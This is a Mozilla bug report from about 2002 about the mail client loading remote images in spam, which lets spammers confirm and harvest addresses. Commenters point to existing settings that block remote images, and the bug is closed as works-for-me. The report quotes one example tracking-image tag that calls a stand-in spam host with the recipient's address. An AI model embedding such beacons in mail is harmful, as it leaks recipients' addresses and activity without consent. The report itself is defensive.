192160 - Mail loads images from spam sites when previewing mail

Status: VERIFIED WORKSFORME

(MailNews Core :: Attachments, enhancement)

Description

[Andrew Saturn]

User-Agent:       Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.3a) Gecko/20021212
Build Identifier: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.3a) Gecko/20021212

some spam sites are figuring out that a good way to get new addresses is to send
an image named like:

<img src="http://some-spam-site/harvest.dll?new_victim=[e-mail]">

since mail can load HTML email messages, it loads this image... causing your
email address to be "harvested".

Reproducible: Always

Steps to Reproduce:




Expected Results:  
my idea for a workaround would be either to

(a) make mail only load HTML formatted email from "trusted" addresses, or
(b) have an option to display HTML mail as plain text.

Comment 1

[Andrew Saturn]

additionally: I'd like to dedicate this feature request to Doug Mehus, a young
man who spends countless hours of his days single-handedly (left hand) fighting
the war on spam.

Comment 2

[Matthias Versen [:Matti]]

Edit\preferences\Privacy...\images\[X]Do not load remote images
Mailnews\view\message body as\(O)simple html

-> wfm

Comment 3

[Jo Hermans]

There's already a "don't load images in mail" setting (in preferences), and a
"simple html" and "plain text" mode (in view-menu - that's your second option).
Your first option would be in bug 28327 or its dependents.

Comment 4

[Andrew Saturn]

wow I feel stupid :]

thanks! the way this is implemented is even better than my idea. I looked around
in the preferences but couldn't find it, it's just in a strange place is all.

thanks again

Comment 5

[Stephen Donner [:stephend] Not actively reading bugmail]

Verified.